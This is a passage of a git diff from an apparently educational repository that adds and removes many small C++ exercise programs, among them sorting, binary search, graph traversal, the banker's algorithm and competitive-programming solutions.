namespace std; - - -// } Driver Code Ends -class Solution -{ - public: - //Function to find the maximum number of activities that can - //be performed by a single person. - - int activitySelection(vector start, vector end, int n) - { - // Your code here - vector> result ; - for(int i = 0 ; i < n ; i++) - { - result.push_back(make_pair(end[i] , start[i])) ; - } - - sort(result.begin() , result.end()) ; - int res = 1 ; - int prev = 0 ; - for(int i = 1 ; i < n ; i++ ) - { - if(result[i].second > result[prev].first) - { - res++ ; - prev = i ; - } - } - return res ; - - } -}; -// { Driver Code Starts -int main() -{ - int t ; - // testcases - cin >> t ; - while(t--) - { - // size of array - int n ; - cin >> n ; - vector start(n) , end(n) ; - // adding elements to arrays start and end - for(int i = 0 ; i < n ; i++) - { - cin >> start[i] ; - } - for(int i = 0 ; i < n ; i++) - { - cin >> end[i] ; - } - Solution ob ; - // function call - cout << ob.activitySelection(start,end, n) << endl ; - } -} - -// } Driver Code Ends diff --git a/Add Code Here/C++/addspace.cpp b/Add Code Here/C++/addspace.cpp new file mode 100644 index 00000000000..f833e969141 --- /dev/null +++ b/Add Code Here/C++/addspace.cpp @@ -0,0 +1,21 @@ +class Solution { +public: + std::string addSpaces(std::string s, std::vector& spaces) { + std::string result; + int spacesIndex = 0; + + for (int i = 0; i < s.size(); ++i) { + if (spacesIndex < spaces.size() && i == spaces[spacesIndex]) { + result += " "; + spacesIndex++; + } + result += s[i]; + } + while (spacesIndex < spaces.size()) { + result += " "; + spacesIndex++; + } + + return result; + } +}; \ No newline at end of file diff --git a/Add Code Here/C++/algo_34.cpp b/Add Code Here/C++/algo_34.cpp deleted file mode 100644 index c940cca99f8..00000000000 --- a/Add Code Here/C++/algo_34.cpp +++ /dev/null @@ -1,28 +0,0 @@ -#include -using namespace std; -float fn(float x,float y) -{ -float ans; -ans=2*x; -return(ans); -} -int main(void) -{ -float x0,y0,x,y,h,f1,f2; -int i,n; -cout<<"give me initial condition say x0 ";cin>>x0; -cout<<"give me initial condition say y0 ";cin>>y0; -cout<<"give the spacing between two points step size(h) = ";cin>>h; -cout<<"give the calculation point x ";cin>>x; -n=(x-x0)/h; -for(i=0;i -using namespace std; - -void printSum(int arr[], int size){ - int sum = 0; - - for(int i=0; i>size; - - printSum(arr,size); -} diff --git a/Add Code Here/C++/array_sum.cpp b/Add Code Here/C++/array_sum.cpp new file mode 100644 index 00000000000..167b8a7ad6b --- /dev/null +++ b/Add Code Here/C++/array_sum.cpp @@ -0,0 +1,27 @@ +#include +using namespace std; + +int getsum(int *arr, int size){ + + if(size == 0){ + return 0; + } + if(size == 1){ + return arr[0]; + } + + int remainingpart = getsum(arr + 1, size - 1); + int sum = arr[0] + remainingpart; + return sum; +} + +int main() +{ + int arr[5] = {1, 2, 3, 4, 5}; + int size = 5; + + int sum = getsum(arr, size); + + cout << "Sum of the array is : " << sum << endl; + return 0; +} diff --git a/Add Code Here/C++/bag_of_tokens.cpp b/Add Code Here/C++/bag_of_tokens.cpp deleted file mode 100644 index d99cdf4775d..00000000000 --- a/Add Code Here/C++/bag_of_tokens.cpp +++ /dev/null @@ -1,98 +0,0 @@ -#include -#include -using namespace std; - -// first try -//i able to aproach the problem but not coded -int bagOfTokensScore(vector &tokens, int power) -{ - - sort(tokens.begin(), tokens.end()); - // [26,48,87] - - int score = 0; - int n = tokens.size(); // 3 - if (n == 0) - return 0; - // 26 < 81 - if (tokens[0] < power) - { - // face up - power = power - tokens[0]; // 55 - score = 1; - } - else - { - return score; - } - - if (n == 1) - return score; - // face down - if (n - 1 != 1) - { - power = power + tokens[n - 1]; // 250 - score = 0; - } - - int i = 1; - while (i < n - 1 && tokens[i] <= power) - { - power = power - tokens[i]; - score++; - i++; - } - - return score; -} - -// second try with see the solution -int bagOfTokensScore(vector &tokens, int power) -{ - - sort(tokens.begin(), tokens.end()); - // [26,48,87] - - int score = 0; - int n = tokens.size(); // 3 - if (n == 0) - return 0; - // 26 < 81 - if (tokens[0] < power) - { - // face up - power = power - tokens[0]; // 55 - score = 1; - } - else - { - return score; - } - - if (n == 1) - return score; - // face down - if (n - 1 != 1) - { - power = power + tokens[n - 1]; // 250 - score = 0; - } - - int i = 1; - while (i < n - 1 && tokens[i] <= power) - { - power = power - tokens[i]; - score++; - i++; - } - - return score; -} -int main() -{ - cout << "Bag of tokens" << endl; - - // https://leetcode.com/problems/bag-of-tokens/ - - return 0; -} diff --git a/Add Code Here/C++/bankers_algorithm.cpp b/Add Code Here/C++/bankers_algorithm.cpp deleted file mode 100644 index 2bef5eeb31b..00000000000 --- a/Add Code Here/C++/bankers_algorithm.cpp +++ /dev/null @@ -1,114 +0,0 @@ -#include -using namespace std; -int main() -{ - int n; - int r; - cout << "\nEnter number of process :"; - cin >> n; - cout << "\n Enter resources available : "; - cin >> r; - // 2D array for need , allocation & max - long int need[n][r], allocate[n][r], max[n][r]; - // 1D array for available - int avail[r]; - // Initial available resources(given) - cout << "\nEnter initial available resources :\n"; - for (int i = 0; i < r; i++) - { - cout << "The initial availability of " << i + 1 << "th process\n"; - cin >> avail[i]; - } - vector v; - // Inputing allocation matrix - cout << "\n Enter allocation matrix \n"; - for (int i = 0; i < n; i++) - { - - for (int j = 0; j < r; j++) - { - cout << "The allocation for " << i + 1 << "th process"<< "of " << j + 1 << "th resources\n"; - cin >> allocate[i][j]; - } - } - // Inputing max requirement of each process - cout << "\n Enter MAX matrix \n"; - - for (int i = 0; i < n; i++) - { - for (int j = 0; j < r; j++) - { - cout << "The max allocation for " << i + 1 << "th process"<< "of " << j + 1 << "th resources\n"; - cin >> max[i][j]; - } - } - // calculating NEED MATRIX - for (int i = 0; i < n; i++) - { - for (int j = 0; j < r; j++) - { - need[i][j] = max[i][j] - allocate[i][j]; - } - } - cout << "The need matrix is\n"; - for (int i = 0; i < n; i++) - { - for (int j = 0; j < r; j++) - { - cout << need[i][j] << " "; - } - cout << '\n'; - } - // checking for safe state - bool inSafe[n]{}; - int curr = 0; - for (int i = 0; i < n; i++) - { - for (int j = 0; j < n; j++) - { - if (inSafe[j] == 0) - { - bool flag = false; - for (int k = 0; k < r; k++) - { - if (avail[k] < need[j][k]) - { - flag = true; - break; - } - } - if (!flag) - { - v.push_back(j); - curr++; - for (int l = 0; l < r; l++) - { - avail[l] += allocate[j][l]; - } - inSafe[j] = 1; - } - } - } - } - bool check = true; - for (int i = 0; i < n; i++) - { - if (inSafe[i] == 0) - { - check = false; - cout << "No!!!The sequence is not in safe state\n"; - break; - } - } - if (check) - { - cout << "The safe state:-\n"; - } - // Safe sequence - for (auto &e : v) - { - cout << "process " << e << " --> "; - } - // here: - return 0; -} \ No newline at end of file diff --git a/Add Code Here/C++/bfs.cpp b/Add Code Here/C++/bfs.cpp deleted file mode 100644 index f0fd9230d83..00000000000 --- a/Add Code Here/C++/bfs.cpp +++ /dev/null @@ -1,85 +0,0 @@ -#include -using namespace std; -// Bfs using hashmap and node class -class Node{ -public: - int data; - vector nbrs; // neighbour integers - Node(int no){ - this->data = no; - } -}; - -class Graph{ - - unordered_map m; // 1 -> 1 Node - public: - vector visited; // 1-> visited 0-> not visited - - Graph(vector v){ - for(auto i: v){ - m[i] = new Node(i); - } - int sz = v.size(); - visited.resize(sz); - } - - void AddEdge(int a, int b, bool undir){ - m[a]->nbrs.push_back(b); - if (undir) - { - m[b]->nbrs.push_back(a); - } - } - - void PrintGraph(){ - for(auto i: m){ - auto a = i.first; - Node* node = i.second; - cout<"; - - for(auto j: node->nbrs){ - cout< q; - q.push(m[a]); - visited[a] = true; - - while (!q.empty()) - { - for(auto i: temp->nbrs){ - if(visited[i] ==false) - { - q.push(m[i]); - visited[i] = true; - } - } - cout<data<<" "; - q.pop(); - temp = m[q.front()->data]; - } - } -}; - -int main(){ - vector v = {0,1,2,3,4,5,6}; - Graph g(v); - - g.AddEdge(1 ,0 ,1); - g.AddEdge(1 ,2 ,1); - g.AddEdge(0 ,4 ,1); - g.AddEdge(2 ,3 ,1); - g.AddEdge(3 ,4 ,1); - g.AddEdge(4 ,5 ,1); - g.AddEdge(3 ,5 ,1); - g.AddEdge(5 ,6 ,1); - - g.Bfs(1); - return 0; -} diff --git a/Add Code Here/C++/billing.cpp b/Add Code Here/C++/billing.cpp deleted file mode 100644 index a31821a5557..00000000000 --- a/Add Code Here/C++/billing.cpp +++ /dev/null @@ -1,20 +0,0 @@ -#include -using namespace std; -int main(){ - int x,y; - cout<<" enter total no, of units"<>x; - if(x<=100){ - y=x*5; - } - else if(x>100 && x<=200){ - y=x*10; - } - else if(x>200 && x<=300){ - y=x*15; - } - else if(x>300){ - y=x*20; - } - cout<<"total bill to be paid"<< y < -using namespace std; - -int binarySearch(int arr[], int size, int key){ - - int start = 0; - int end = size-1; - - int mid = start + (end-start)/2; - - while(start <= end){ - - if (arr[mid]==key){ - return mid; - } - - //go to start wala part - if (key > arr[mid]){ - start = mid+1; - } - - else{ - end = mid - 1; - } - - mid = start + (end-start)/2; - } - return -1; -} -int main(){ - - int even[8] = {2,4,6,8,12,18,19,58}; - int odd[5] = {3,4,5,6,7}; - - int index = binarySearch(even, 6, 8); - - cout<<"Index of 8 is "< -#include -#include -using namespace std; -template -class BinaryTree -{ -public: - T data; - BinaryTree *left; - BinaryTree *right; - BinaryTree(T data) - { - this->data = data; - left = NULL; - right = NULL; - } - ~BinaryTree() - { - delete left; - delete right - } -}; -void printLW(BinaryTree *root) -{ - if (root == NULL) - { - return; - } - queue *> pendingNode; - pendingNode.push(root); - while (pendingNode.size() != 0) - { - BinaryTree *front = pendingNode.front(); - pendingNode.pop(); - cout << front->data; - if (front->left) - { - pendingNode.push(front->left); - cout << "L " << front->left->data; - } - if (front->right) - { - pendingNode.push(front->right); - cout << "R " << front->right->data; - } - } -} -BinaryTree *takeInLW() -{ - int data; - cin >> data; - if (data == -1) - { - return NULL; - } - BinaryTree *root = new BinaryTree(data); - queue *> pendingNode; - pendingNode.push(root); - while (pendingNode.size() != 0) - { - BinaryTree *front = pendingNode.front(); - pendingNode.pop(); - int childN; - cout << "Enter Numeber of Children for " << front->data << ": "; - cin >> childN; - } -} -int main() -{ - - return 0; -} \ No newline at end of file diff --git a/Add Code Here/C++/binary_search.cpp b/Add Code Here/C++/binary_search.cpp deleted file mode 100644 index a31eaf67a93..00000000000 --- a/Add Code Here/C++/binary_search.cpp +++ /dev/null @@ -1,33 +0,0 @@ -#include -using namespace std; - -int binary_Search(int array[], int x, int lo, int hi) { - - - while (lo <= hi) { - int mid = lo + (hi - lo) / 2; - - if (array[mid] == x) - return mid; - - else if (array[mid] < x) - lo = mid + 1; - - else - hi = mid - 1; - } - - return -1; -} - -int main(void) { - int array[] = {3, 84, 105, 69, 47, 8, 98}; - int x = 105; - int n = sizeof(array) / sizeof(array[0]); - int result = binary_Search(array, x, 0, n - 1); - if (result == -1) - printf("Not found"); - else - printf("Element is at index %d", result); -} - diff --git a/Add Code Here/C++/binary_tree.cpp b/Add Code Here/C++/binary_tree.cpp deleted file mode 100644 index 1fd5a8e3a0f..00000000000 --- a/Add Code Here/C++/binary_tree.cpp +++ /dev/null @@ -1,130 +0,0 @@ -#include -using namespace std; - -class treeNode -{ - public: - int data; - treeNode* left = NULL; - treeNode* right = NULL; - treeNode( int data) - { - this->data = data; - } - - ~treeNode() - { - delete left; - delete right; - } -}; - -treeNode* takeinput() -{ - int rootdata; - cout<<"enter root data: "; - cin>>rootdata; - - if(rootdata == 0) - { - return NULL; - } - treeNode* root = new treeNode(rootdata); - - queue pendingNodes; - pendingNodes.push(root); - - while(pendingNodes.size() != 0) - { - treeNode* front = pendingNodes.front(); - pendingNodes.pop(); - cout<<"enter left child of "<data<<": "; - int lchild; - cin>>lchild; - if(lchild != 0) - { - treeNode* child = new treeNode(lchild); - front->left = child; - pendingNodes.push(child); - } - - cout<<"enter right child of "<data<<": "; - int rchild; - cin>>rchild; - if(rchild != 0) - { - treeNode* chil = new treeNode(rchild); - front->right = chil; - pendingNodes.push(chil); - } - } - return root; -} -void printTree(treeNode* root) -{ - if(root==NULL) - { - return; - } - cout<data<<": "; - if(root->left != NULL) - { - cout<<"L"<left->data; - } - if(root->right != NULL) - { - cout<<" R"<right->data; - } - cout<left); - printTree(root->right); -} -void inorder(treeNode* root) -{ - if(root==NULL) - { - return; - } - inorder(root->left); - cout<data <<" "; - inorder(root->right); -} -void preorder(treeNode* root) -{ - if(root==NULL) - { - return; - } - - cout<data <<" "; - preorder(root->left); - preorder(root->right); -} -void postorder(treeNode* root) -{ - if(root==NULL) - { - return; - } - - - postorder(root->left); - postorder(root->right); - cout<data <<" "; -} - -int main() -{ - treeNode* root = takeinput(); - printTree(root); - cout<<"Preorder traversal is: "; - preorder(root); - cout< +using namespace std; +int binarySearch(int arr[], int item, int low, int high) { + if (high <= low) + return (item > arr[low])? (low + 1): low; + int mid = (low + high)/2; + if(item == arr[mid]) + return mid+1; + if(item > arr[mid]) + return binarySearch(arr, item, mid+1, high); + return binarySearch(arr, item, low, mid-1); +} +void BinaryInsertionSort(int arr[], int n) { + int i, loc, j, k, selected; + for (i = 1; i < n; ++i) { + j = i - 1; + selected = arr[i]; + loc = binarySearch(arr, selected, 0, j); + while (j >= loc) { + arr[j+1] = arr[j]; + j--; + } + arr[j+1] = selected; + } +} +int main() { + int arr[] = {12, 56, 1, 67, 45, 8, 82, 16, 63, 23}; + int n = sizeof(arr)/sizeof(arr[0]), i; + BinaryInsertionSort(arr, n); + cout<<"Sorted array is : \n"; + for (i = 0; i < n; i++) + cout< +using namespace std; +int firstocc(int a[], int l, int h, int k) +{ + int m = l + (h - l) / 2; + int ans; + while (l <= h) + { + if (a[m] == k) + { + ans = m; + h = m - 1; + } + else if (a[m] < k) + { + + l = m + 1; + } + else + { + h = m - 1; + } + m = l + (h - l) / 2; + } + return ans; +} +int lastocc(int a[], int l, int h, int k) +{ + int m = l + (h - l) / 2; + int ans; + while (l <= h) + { + if (a[m] == k) + { + ans = m; + l = m + 1; + } + else if (a[m] < k) + { + + l = m + 1; + } + else + { + h = m - 1; + } + m = l + (h - l) / 2; + } + return ans; +} +int main() +{ + int a[] = {1, 2, 3, 3, 3, 3, 5}; + int n = 7; + int k = 3; + cout << "first occurence--" << firstocc(a, 0, n - 1, k) << endl; + cout << "last occurence--" << lastocc(a, 0, n - 1, k) << endl; +} \ No newline at end of file diff --git a/Add Code Here/C++/binarysearch_no_of_occurence.cpp b/Add Code Here/C++/binarysearch_no_of_occurence.cpp new file mode 100644 index 00000000000..edb6ec407e1 --- /dev/null +++ b/Add Code Here/C++/binarysearch_no_of_occurence.cpp @@ -0,0 +1,57 @@ +#include +using namespace std; +int firstocc(int a[], int l, int h, int k) +{ + int m = l + (h - l) / 2; + int ans; + while (l <= h) + { + if (a[m] == k) + { + ans = m; + h = m - 1; + } + else if (a[m] < k) + { + + l = m + 1; + } + else + { + h = m - 1; + } + m = l + (h - l) / 2; + } + return ans; +} +int lastocc(int a[], int l, int h, int k) +{ + int m = l + (h - l) / 2; + int ans; + while (l <= h) + { + if (a[m] == k) + { + ans = m; + l = m + 1; + } + else if (a[m] < k) + { + + l = m + 1; + } + else + { + h = m - 1; + } + m = l + (h - l) / 2; + } + return ans; +} +int main() +{ + int a[] = {1, 2, 2, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 5}; + int n = sizeof(a) / sizeof(a[0]); + int k = 2; + cout << lastocc(a, 0, n - 1, k) - firstocc(a, 0, n - 1, k) + 1 << endl; +} \ No newline at end of file diff --git a/Add Code Here/C++/bogoSort.cpp b/Add Code Here/C++/bogoSort.cpp deleted file mode 100644 index cdf67c04e72..00000000000 --- a/Add Code Here/C++/bogoSort.cpp +++ /dev/null @@ -1,46 +0,0 @@ -#include -using namespace std; - -// To check if array is sorted or not -bool isSorted(int a[], int n) -{ - while (--n > 0) - if (a[n] < a[n - 1]) - return false; - return true; -} - -// To generate permutation of the array -void shuffle(int a[], int n) -{ - for (int i = 0; i < n; i++) - swap(a[i], a[rand() % n]); -} - -// Sorts array a[0..n-1] using Bogo sort -void bogosort(int a[], int n) -{ - // if array is not sorted then shuffle - // the array again - while (!isSorted(a, n)) - shuffle(a, n); -} - -// prints the array -void printArray(int a[], int n) -{ - for (int i = 0; i < n; i++) - printf("%d ", a[i]); - printf("\n"); -} - -// Driver code -int main() -{ - int a[] = { 3, 2, 5, 1, 0, 4 }; - int n = sizeof a / sizeof a[0]; - bogosort(a, n); - printf("Sorted array :\n"); - printArray(a, n); - return 0; -} \ No newline at end of file diff --git a/Add Code Here/C++/bracket and operate.cpp b/Add Code Here/C++/bracket and operate.cpp deleted file mode 100644 index fc7699d4c4b..00000000000 --- a/Add Code Here/C++/bracket and operate.cpp +++ /dev/null @@ -1,37 +0,0 @@ - - -#include -using namespace std; - -string solve(string s) { - int n = s.length(); - bool flag = false, ng = false; - for(int i=0;i> s; - cout << solve(s) << endl; - return 0; -} diff --git a/Add Code Here/C++/bubble sort.cpp b/Add Code Here/C++/bubble sort.cpp deleted file mode 100644 index 88ef404c548..00000000000 --- a/Add Code Here/C++/bubble sort.cpp +++ /dev/null @@ -1,39 +0,0 @@ -#include -using namespace std; - -int main() -{ - int n; - cout<<"Enter size of array "<>n; - int arr[n],i,j,pass; - cout<<"Enter the elements"<>arr[i]; - } - cout<<"Original Array : "<arr[j+1]) - { - int temp=arr[j]; - arr[j]=arr[j+1]; - arr[j+1]=temp; - } - } - pass++; - } - cout<<"New Array : "< -using namespace std; - -int main(){ - int arr[] = {1,4,2,6,9,0,3,}; - - int i,j; - int n= sizeof(arr)/sizeof(arr[0]); - int counter =1; - while(counterarr[i+1]){ -// int temp = arr[i+1]; -// arr[i+1]=arr[i]; -// arr[i]=temp; - swap(arr[i],arr[i+1]); - } - } - counter++; - } - - for(j=0;j -using namespace std; - -int main() -{ -int n; -cin>>n; -int arr[n]; -for(int i=0;i>arr[i]; - } - -int counter=1; //for iteration -while(counterarr[i+1]){ - int temp=arr[i]; - arr[i]=arr[i+1]; - arr[i+1]=temp; - - } - } - counter++; //so it move to next iteration -} -for(int i=0;i +using namespace std; +int main() +{ + int n; + cin>>n; + int arr[n]; + for(int i=0; i>arr[i]; + } + int pivot=1; + while(pivotarr[j+1]){ + swap(arr[j],arr[j+1]); + } + } + pivot++; + } + cout<<"SORTED ARRAY : "; + for(int k=0; k -#include -#include - +#include using namespace std; +int main() +{ + int a, b; -// fungsi hello() digunkan untuk menampilkan kata 'Hello, World!' -void hello(){ - cout << "KALKULATOR"; -} - -int main(){ - - hello(); - cout << endl; + cout << "Enter the value of a : " << endl; + cin >> a; - int num1, num2, output; - char oprator; + cout << "Enter the value of b : " << endl; + cin >> b; - cout << "Masukkan angka pertama: "; - cin >> num1; + char op; + cout << "Enter the operation which you want to perform : " << endl; + cin >> op; - cout << "Masukkan angka kedua: "; - cin >> num2; - - cout << "Pilih operator(*, /, +, -, ^): "; - cin >> oprator; - - switch(oprator){ - // 'switch(huruf)' merupakan kondisi. - // kondisi berupa karakter huruf dari a-d. + switch(op) { case '+': - output = num1 + num2; - cout << output << endl; - break; + cout << (a + b) << endl; + break; + case '-': - output = num1 - num2; - cout << output << endl; - break; + cout << (a - b) << endl; + break; + case '*': - output = num1 * num2; - cout << output << endl; - break; + cout << (a * b) << endl; + break; + case '/': - output = num1 / num2; - cout << output << endl; - break; - case '^': - output = pow(num1, num2); - cout << output << endl; - break; - } + cout << (a / b) << endl; + break; + case '%': + cout << (a % b) << endl; + break; + + default: + cout << "Enter the valid operation!" << endl; + } return 0; -} \ No newline at end of file +} diff --git a/Add Code Here/C++/calculatorscientific.cpp b/Add Code Here/C++/calculatorscientific.cpp new file mode 100644 index 00000000000..cbe071f9bd6 --- /dev/null +++ b/Add Code Here/C++/calculatorscientific.cpp @@ -0,0 +1,7 @@ +#include +using namespace std; +int main(int argc, char const *argv[]) +{ + + return 0; +} diff --git a/Add Code Here/C++/cartoon-love.cpp b/Add Code Here/C++/cartoon-love.cpp deleted file mode 100644 index 23dc21cec56..00000000000 --- a/Add Code Here/C++/cartoon-love.cpp +++ /dev/null @@ -1,34 +0,0 @@ -#include -#include - -std::string Cartoon1(){ - std::string str ("Upin"); - str.erase(1); - std::cout< +using namespace std; +int main(int argc, char const *argv[]) +{ + cout<< " This is my 1st code\n \n"; + cout<< " This is my 1st code\n"; + cout<< " This is my 1st code"; + return 0; +} + diff --git a/Add Code Here/C++/check if a linkedlist is circular.txt b/Add Code Here/C++/check if a linkedlist is circular.txt deleted file mode 100644 index a44d4e853db..00000000000 --- a/Add Code Here/C++/check if a linkedlist is circular.txt +++ /dev/null @@ -1,5 +0,0 @@ -Check if the linked list is circular or not - -check if head == null the say list is empty - -while (temp!=Null && temp != head \ No newline at end of file diff --git a/Add Code Here/C++/check if linkedlist is even or odd.txt b/Add Code Here/C++/check if linkedlist is even or odd.txt deleted file mode 100644 index c676bb4fa5e..00000000000 --- a/Add Code Here/C++/check if linkedlist is even or odd.txt +++ /dev/null @@ -1,17 +0,0 @@ -void checkEvenOdd(Node* head){ - Node* temp=head; - while(1) - { - if(temp==NULL){ - cout<<"The Length is Even"<next==NULL){ - cout<<"The length is odd"<next->next; - - } - -} \ No newline at end of file diff --git a/Add Code Here/C++/checkcharacter.cpp b/Add Code Here/C++/checkcharacter.cpp deleted file mode 100644 index ca2411da9b6..00000000000 --- a/Add Code Here/C++/checkcharacter.cpp +++ /dev/null @@ -1,32 +0,0 @@ -#include - -using namespace std; - -int main() { - - char ch; - cout << "enter a character : "; - cin >> ch; - - // if(ch >= 65 && ch <= 90) { - // cout << ch << " is an upper-case letter" << endl; - // } else if(ch >= 97 and ch <= 122) { - // cout << ch << " is an lower-case letter" << endl; - // } else if(ch >= 48 and ch <= 57) { - // cout << ch << " is a digit" << endl; - // } else { - // cout << ch << " is a special symbol" << endl; - // } - - if(ch >= 'A' and ch <= 'Z') { - cout << ch << " is an upper-case letter" << endl; - } else if(ch >= 'a' and ch <= 'z') { - cout << ch << " is an lower-case letter" << endl; - } else if(ch >= '0' and ch <= '9') { - cout << ch << " is a digit" << endl; - } else { - cout << ch << " is a special symbol" << endl; - } - - return 0; -} \ No newline at end of file diff --git a/Add Code Here/C++/circular_queue.cpp b/Add Code Here/C++/circular_queue.cpp deleted file mode 100644 index b390f79153c..00000000000 --- a/Add Code Here/C++/circular_queue.cpp +++ /dev/null @@ -1,134 +0,0 @@ -// C or C++ program for insertion and -// deletion in Circular Queue -#include -using namespace std; - -class Queue -{ - // Initialize front and rear - int rear, front; - - // Circular Queue - int size; - int *arr; -public: - Queue(int s) - { - front = rear = -1; - size = s; - arr = new int[s]; - } - - void enQueue(int value); - int deQueue(); - void displayQueue(); -}; - - -/* Function to create Circular queue */ -void Queue::enQueue(int value) -{ - if ((front == 0 && rear == size-1) || - (rear == (front-1)%(size-1))) - { - printf("\nQueue is Full"); - return; - } - - else if (front == -1) /* Insert First Element */ - { - front = rear = 0; - arr[rear] = value; - } - - else if (rear == size-1 && front != 0) - { - rear = 0; - arr[rear] = value; - } - - else - { - rear++; - arr[rear] = value; - } -} - -// Function to delete element from Circular Queue -int Queue::deQueue() -{ - if (front == -1) - { - printf("\nQueue is Empty"); - return INT_MIN; - } - - int data = arr[front]; - arr[front] = -1; - if (front == rear) - { - front = -1; - rear = -1; - } - else if (front == size-1) - front = 0; - else - front++; - - return data; -} - -// Function displaying the elements -// of Circular Queue -void Queue::displayQueue() -{ - if (front == -1) - { - printf("\nQueue is Empty"); - return; - } - printf("\nElements in Circular Queue are: "); - if (rear >= front) - { - for (int i = front; i <= rear; i++) - printf("%d ",arr[i]); - } - else - { - for (int i = front; i < size; i++) - printf("%d ", arr[i]); - - for (int i = 0; i <= rear; i++) - printf("%d ", arr[i]); - } -} - -/* Driver of the program */ -int main() -{ - Queue q(5); - - // Inserting elements in Circular Queue - q.enQueue(14); - q.enQueue(22); - q.enQueue(13); - q.enQueue(-6); - - // Display elements present in Circular Queue - q.displayQueue(); - - // Deleting elements from Circular Queue - printf("\nDeleted value = %d", q.deQueue()); - printf("\nDeleted value = %d", q.deQueue()); - - q.displayQueue(); - - q.enQueue(9); - q.enQueue(20); - q.enQueue(5); - - q.displayQueue(); - - q.enQueue(20); - return 0; -} diff --git a/Add Code Here/C++/code_chef.cpp b/Add Code Here/C++/code_chef.cpp deleted file mode 100644 index d9da68e5b0d..00000000000 --- a/Add Code Here/C++/code_chef.cpp +++ /dev/null @@ -1,50 +0,0 @@ -// HourGlass Problem- -#include -using namespace std; - -int maxValue(int arr[16]) -{ - int max = arr[0]; - for (int i = 0; i < 16; i++) - { - if (max < arr[i]) - max = arr[i]; - } - return max; -} - -int hourGlass(int arr[6][6]) -{ - int hourGlassSum[16]; - int k = 0; - - while (k < 16) - { - for (int i = 0; i < 4; i++) - { - for (int j = 0; j < 4; j++) - { - hourGlassSum[k] = arr[i][j] + arr[i][j + 1] + arr[i][j + 2] + arr[i + 1][j + 1] + arr[i + 2][j] + arr[i + 2][j + 1] + arr[i + 2][j + 2]; - cout << "Sum of Hourglass[" << k << "]: " << hourGlassSum[k] << endl; - k++; - } - } - } - cout << maxValue(hourGlassSum); - return 0; -} - -int main() -{ - int arr[6][6]; - cout << "Enter the array elements:\n"; - for (int i = 0; i < 6; i++) - { - for (int j = 0; j < 6; j++) - { - cin >> arr[i][j]; - } - } - hourGlass(arr); - return 0; -} \ No newline at end of file diff --git a/Add Code Here/C++/codeforces_1702C.cpp b/Add Code Here/C++/codeforces_1702C.cpp deleted file mode 100644 index dd0a151198d..00000000000 --- a/Add Code Here/C++/codeforces_1702C.cpp +++ /dev/null @@ -1,63 +0,0 @@ -#include "bits/stdc++.h" -#define vi vector -#define endl '\n' -#define int long long -#define ll long long -#define pb push_back -const int N = 1e5+10; -const int INF = 1e18+10; -using namespace std; -void fast(){ - ios_base::sync_with_stdio(false); - cin.tie(0); - cout.tie(0); -} -signed main(){ - #ifndef ONLINE_JUDGE - freopen("input.txt","r",stdin); - freopen("output.txt","w",stdout); - #endif - fast(); - int t; - cin>>t; - while(t--){ - int n,k; - cin>>n>>k; - map>mp; - for(int i=0;i>x; - mp[x].pb(i); - - } - for(int i=0;i>a>>b; - //cout<0){ - - cout<<"YES"< -#define endl '\n' -#define int long long -#define ll long long -#define pb push_back -const int N = 1e5+10; -const int INF = 1e18+10; -using namespace std; -void fast(){ - ios_base::sync_with_stdio(false); - cin.tie(0); - cout.tie(0); -} -signed main(){ - #ifndef ONLINE_JUDGE - freopen("input.txt","r",stdin); - freopen("output.txt","w",stdout); - #endif - fast(); - int t; - cin>>t; - while(t--){ - int n; - cin>>n; - int arr[n]; - for(int i=0;i>arr[i]; - } - int diff[n]; - for(int i=0;i>x; - string s; - cin>>s; - int count = 0; - for(int i=0;i>t; - while(t--){ - int n,l,r; - cin>>n>>l>>r; - vectorans; - bool isTrue = true; - for(int i=1;i<=n;i++){ - if(r - r%i >= l){ - ans.pb(r - r%i); - } - else{ - isTrue = false; - break; - } - } - if(isTrue){ - cout<<"YES"<>n; - int x = 0,y = 0, z = 0; - while(n--){ - int a,b,c; - cin>>a>>b>>c; - x+=a; - y+=b; - z+=c; - } - if(x==0&&y==0&&z==0){ - cout<<"YES"< -using namespace std; - -int main(){ - int n,m; - cin>>n>>m; - mapmp; - for(int i=0; i>a>>b; - if(a.length()>b.length()) - mp[a]=b; - else - mp[a]=a; - - } - for(int i=0; i>x; - cout< -using namespace std; - -int main(){ - long long n,k; - long long f, t; - cin>>n>>k>>f>>t; - long long j1=0; - long long j2=0; - if(t>k) - j1=f-(t-k); - else - j1=f; - while(--n){ - cin>>f>>t; - if(t>k) - j2=f-(t-k); - else - j2=f; - if(j2>j1) - j1=j2; - - - } - cout< - -using namespace std; - -int count(int coins[], int n, int sum) -{ - int i, j, x, y; - - - int table[sum + 1][n]; - - - for (i = 0; i < n; i++) - table[0][i] = 1; - - - for (i = 1; i < sum + 1; i++) { - for (j = 0; j < n; j++) { - - x = (i - coins[j] >= 0) ? table[i - coins[j]][j] - : 0; - - - y = (j >= 1) ? table[i][j - 1] : 0; - - - table[i][j] = x + y; - } - } - return table[sum][n - 1]; -} - - -int main() -{ - int coins[] = { 1, 2, 3 }; - int n = sizeof(coins) / sizeof(coins[0]); - int sum = 4; - cout << count(coins, n, sum); - return 0; -} \ No newline at end of file diff --git a/Add Code Here/C++/countBitsFlip.cpp b/Add Code Here/C++/countBitsFlip.cpp deleted file mode 100644 index 4bde70a0705..00000000000 --- a/Add Code Here/C++/countBitsFlip.cpp +++ /dev/null @@ -1,88 +0,0 @@ -/** - * @file - * @brief Implementation to - * [Count number of bits to be flipped to convert A to B] - * (https://www.geeksforgeeks.org/count-number-of-bits-to-be-flipped-to-convert-a-to-b/) - * in an integer. - * - * @details - * We are given two numbers A and B. Our task is to count the number of bits - * needed to be flipped to convert A to B. - * - * Explanation: - * - * A = 01010 B = 10100 - * As we can see, the bits of A that need to be flipped are 01010. - * If we flipthese bits, we get 10100, which is B. - * - * Worst Case Time Complexity: O(log n) - * Space complexity: O(1) - * @author [Yash Raj Singh](https://github.com/yashrajyash) - */ -#include /// for assert -#include /// for IO operations -/** - * @namespace bit_manipulation - * @brief Bit manipulation algorithms - */ -namespace bit_manipulation { -/** - * @namespace count_bits_flip - * @brief Functions for the [count bits - * flip](https://www.geeksforgeeks.org/count-set-bits-in-an-integer/) - * implementation - */ -namespace count_bits_flip { -/** - * @brief The main function implements count of bits flip required - * @param A is the given number whose bits will be flipped to get number B - * @param B is the given target number - * @returns total number of bits needed to be flipped to convert A to B - */ -std::uint64_t countBitsFlip( - std::int64_t A, - std::int64_t B) { // int64_t is preferred over int so that - // no Overflow can be there. - - int count = - 0; // "count" variable is used to count number of bits flip of the - // number A to form B in binary representation of number 'n' - A = A ^ B; - while (A) { - A = A & (A - 1); 